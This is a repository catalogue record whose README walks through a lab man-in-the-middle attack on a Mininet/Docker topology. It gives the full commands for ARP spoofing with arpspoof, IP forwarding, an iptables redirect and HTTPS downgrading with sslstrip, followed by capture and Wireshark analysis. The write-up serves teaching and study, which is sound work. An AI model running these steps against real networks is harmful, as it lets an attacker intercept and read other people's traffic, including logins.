{"id":13337961,"url":"https://github.com/lizababu/mitm-tls","last_synced_at":"2025-03-11T08:32:06.393Z","repository":{"id":166981691,"uuid":"264231200","full_name":"lizababu/mitm-tls","owner":"lizababu","description":"MITM attack over TLS using arpspoof and sslstrip","archived":false,"fork":false,"pushed_at":"2020-05-15T19:17:36.000Z","size":8,"stargazers_count":2,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-10-23T20:11:28.204Z","etag":null,"topics":["arpspoof","mitm","sslstrip","tls"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/lizababu.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-05-15T15:33:52.000Z","updated_at":"2023-03-04T13:20:16.000Z","dependencies_parsed_at":null,"dependency_job_id":"791e9398-78e8-47d2-ac28-660cbef433f8","html_url":"https://github.com/lizababu/mitm-tls","commit_stats":null,"previous_names":["lizababu/mitm-tls"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lizababu%2Fmitm-tls","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lizababu%2Fmitm-tls/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lizababu%2Fmitm-tls/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lizababu%2Fmitm-tls/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lizababu","download_url":"https://codeload.github.com/lizababu/mitm-tls/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243000834,"owners_count":20219751,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["arpspoof","mitm","sslstrip","tls"],"created_at":"2024-07-29T19:15:16.502Z","updated_at":"2025-03-11T08:32:06.373Z","avatar_url":"https://github.com/lizababu.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# MITM over TLS\n\n**Man-in-the-middle (MITM)** refers to an attack where an actor stands between 2 entities communicating with eachother and intercepts or even changes the information sent from one to another. When the traffic is not encrypted this attack can be done by doing an ARP spoofing and capturing the incoming traffic on the attacker's device. In the case of encrypted communication there is more into making the MITM attack possible.\n\nIn the following sections I will explain how to capture readable data sent between the victim's device and a website running over HTTPS that should normally be encrypted.\n\n## Topology\n\nIn order to recreate this attack the following components were used:\n* a victim machine (Ubuntu 18.04 with `curl` installed)\n* a website (www.digi24.ro) that is using **HTTPS**\n* an attacker machine (Ubuntu 18.04 with `tcpdump`, `arpspoof`, `iptables` and `sslstrip` installed)\n\nThe topology I created has the following details. The attacker and the victim both have Internet connection and are in the same network `192.168.16.0/24`:\n* default gateway `192.168.16.1/24`\n* attacker `192.168.16.2/24`\n* victim `192.168.16.3/24`\n\n\u003e The website should be running on HTTPS, but should not have [**HSTS**](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security).\n\n## How it's done\n\nThe end goal of this attack si to be able to intercept unencrypted data on the attacker's side. The data come from the communication between the victim and a vulnerable website using HTTP. It's vulnerability is that it is not using HSTS to prevent MITM attacks. The flow of the data will look as in the following image.\n\n![enter image description here](https://scontent.fotp3-3.fna.fbcdn.net/v/t1.15752-9/56162869_565199757216898_7687985661634150400_n.png?_nc_cat=101\u0026_nc_sid=b96e70\u0026_nc_ohc=M1jRqWdq9xwAX_ZkELO\u0026_nc_ht=scontent.fotp3-3.fna\u0026oh=1049ba0ce6f2ac3a9d4a2643f58871e1\u0026oe=5EE29D2E)\n\n### Step 0\n\nI start by capturing traffic on the attacker machine. I need the interface on the attacker's machine for this. This is `attacker-eth0` (known from when the topology was created). To check:\n```bash\nroot@attacker:/# ifconfig\nattacker-eth0: flags=4163\u003cUP,BROADCAST,RUNNING,MULTICAST\u003e  mtu 1500\ninet 192.168.16.2  netmask 255.255.255.0  broadcast 0.0.0.0\nether 2e:a2:48:8e:ec:4b  txqueuelen 1000  (Ethernet)\nRX packets 14  bytes 1096 (1.0 KB)\nRX errors 0  dropped 0  overruns 0  frame 0\nTX packets 0  bytes 0 (0.0 B)\nTX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n(..)\nroot@attacker:/# tcpdump -i attacker-eth0 -Z root -w capture.pcap \u0026\n[452]\n```\n\nThe `capture.pcap` file will be analyzed at the end of the attack.\n\n### Step 1\n\nThe next thing that needs to be done is to set the ip forwarding for the attacking machine so that when it receives packets from the victim packets will be forwarded to the destination IP address labeled on the network layer of the packet. For this I simply wrote value `1` in the following file:\n\n```bash\nroot@attacker:/# echo 1 \u003e /proc/sys/net/ipv4/ip_forward\nroot@attacker:/# cat /proc/sys/net/ipv4/ip_forward\n1\n```\n\n### Step 2\n\nThe next step is to link the attacker’s MAC address with the IP address of the victim's computer. Once the attacker’s MAC address is connected to that IP address, the attacker will begin receiving any data that is intended for the victim. This is the step where the attacker places itself between the victim and the website.\n\nTo do this use I first need the IP addresses of the victim and the default gateway. These were specified when creating the topology, but in order to check I can use the following commands. \n\n```bash\nroot@victim:/# ifconfig\n(..)\nvictim-eth0: flags=4163\u003cUP,BROADCAST,RUNNING,MULTICAST\u003e  mtu 1500\ninet 192.168.16.3  netmask 255.255.255.0  broadcast 0.0.0.0\nether f6:b5:a9:73:f8:e1  txqueuelen 1000  (Ethernet)\nRX packets 14  bytes 1096 (1.0 KB)\nRX errors 0  dropped 0  overruns 0  frame 0\nTX packets 0  bytes 0 (0.0 B)\nTX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\nroot@victim:/# ip r s\ndefault via 192.168.16.1 dev victim-eth0\n192.168.16.0/24 dev victim-eth0 proto kernel scope link src 192.168.16.3\n```\n\nThe victim's IP address is `192.168.16.3`, while the default gateway is `192.168.16.1`.\n\nNow the ARP spoofing can begin. I run `arpspoof` twice (so that I can capture both incoming and outgoing traffic). I do this on the attacker's machine.\n\n```bash\nroot@attacker:/# arpspoof -i attacker-eth0 -t 192.168.16.3 192.168.16.1 \u003e /dev/null 2\u003e /dev/null \u0026\n[1] 59\nroot@attacker:/# arpspoof -i attacker-eth0 -t 192.168.16.1 192.168.16.3 \u003e /dev/null 2\u003e /dev/null \u0026\n[1] 60\n```\n\nCheck on the victim's machine that the spoofing is taking place. The MAC addresses for both IPs should be the same. Since the attack takes place on layer 2 the interesting bits are the MAC addresses. \n\n```bash\nroot@victim:/# arp -a\n? (192.168.16.1) at 2e:a2:48:8e:ec:4b [ether] on victim-eth0\n? (192.168.16.2) at 2e:a2:48:8e:ec:4b [ether] on victim-eth0\n```\n\nNow the attacker sees all the communication between the victim and the Internet. Unfortunately, he still sees only encrypted traffic. I needed to do an HTTPS downgrade (or HTTPS stripping) so that on the attacker side I can see plain text traffic.\n\n\n### Step 3\n\nIn order to intercept unencrypted traffic I needed to downgrade the victim's connection from HTTPS to HTTP. I did this using `sslstrip`. First I redirecting outgoing traffic on port 80 to 8080 and then I started `sslstrip` on port `8080`.\n\n\n```bash\nroot@attacker:/# iptables -t nat -p tcp -A PREROUTING --destination-port 80 -j REDIRECT --to-port 8080\nroot@attacker:/# sslstrip -l 8080\n\nsslstrip 0.9 by Moxie Marlinspike running...\n\n``` \n\nOn the victim machine I used `curl` to send a `GET` request to `http://digi24.ro`.\n\n```bash\nroot@victim:/# curl -vvv http://digi24.ro\n* Rebuilt URL to: http://digi24.ro/\n* Trying 81.196.8.46...\n* TCP_NODELAY set\n* Connected to digi24.ro (81.196.8.46) port 80 (#0)\n\u003e GET / HTTP/1.1\n\u003e Host: digi24.ro\n\u003e User-Agent: curl/7.58.0\n\u003e Accept: */*\n\u003e\n\u003c HTTP/1.1 301 Moved Permanently\n\u003c Content-Length: 162\n\u003c Server: RDS-WebServer v2\n\u003c Connection: close\n\u003c Location: http://www.digi24.ro/ # The request was redirected to this.\n\u003c Date: Fri, 15 May 2020 13:08:07 GMT\n\u003c Content-Type: text/html\n\u003c\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003e301 Moved Permanently\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ccenter\u003e\u003ch1\u003e301 Moved Permanently\u003c/h1\u003e\u003c/center\u003e\n\u003chr\u003e\u003ccenter\u003enginx\u003c/center\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n* Closing connection 0\n```\n\nThe request was redirected to `http://www.digi24.ro/`. Another `GET` on this URL returns the page content unencrypted. The attack is now complete: I can view unecrypted traffic going between the victim and the vulnerable website using HTTPS.\n\n```bash\nroot@victim:/# curl -vvv http://www.digi24.ro/\n(..)\n\u003c!-- END: \"FrontendUiMain\\View\\Helper\\WidgetLayoutLayoutBodyAssets\" --\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n###  Step 4\n\nI stopped the tcpdump process on the attacker and I opened the capture using Wireshark. After filterin packets by protocol (only HTTP) I found the following:\n\n![enter image description here](https://scontent.fotp3-2.fna.fbcdn.net/v/t1.15752-9/s2048x2048/98279780_257285382296503_6574269155376103424_n.png?_nc_cat=106\u0026_nc_sid=b96e70\u0026_nc_ohc=J441EsDrXKUAX8T6FYF\u0026_nc_ht=scontent.fotp3-2.fna\u0026oh=81452735d759a9c62dbd954ba2977a7a\u0026oe=5EE27E26)\n\nBy following the HTTP stream here I was able to see the contents of the website the same way the victim does.\n\n![enter image description here](https://scontent.fotp3-2.fna.fbcdn.net/v/t1.15752-9/s2048x2048/98367350_241217873641263_5746737680239034368_n.png?_nc_cat=105\u0026_nc_sid=b96e70\u0026_nc_ohc=5qwHL8uwFTIAX_Xz0IY\u0026_nc_ht=scontent.fotp3-2.fna\u0026oh=3e4e3d08207905910865171fb7db2ea6\u0026oe=5EE5AAC5)\n\n## Archive contents\n\nThe archive contains the following:\n* ***MITM over TLS.pdf*** this file containing explanations on how the attack is done.\n* ***Dockerfile*** used to build docker images for both the victim and attacker (both of the machines have the exact same configuration).\n* ***Makefile*** that runs the `docker build` command.\n* ***capture.pcap*** is the capture containing the traffic generated during this attack.\n* ***topology.py*** script to start the Mininet topology used for this attack.\n* ***start-attacker.sh*** script used to connect to the attacker machine.\n* ***start-victim.sh*** script used to connect to the victim machine.\n* ***install.sh*** used to install Mininet (taken from the CDCI labs topology).\n* ***start-app.sh*** runs on docker to prevent the container from exiting (taken from the CDCI labs topology).\n* ***run-on-attacker.sh*** to run on the attacker machine. Does the ARP spoofing and SSL stripping.\n* ***run-on-victim.sh*** to run on the victim machine. Generates HTTPS traffic.\n\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flizababu%2Fmitm-tls","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flizababu%2Fmitm-tls","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flizababu%2Fmitm-tls/lists"}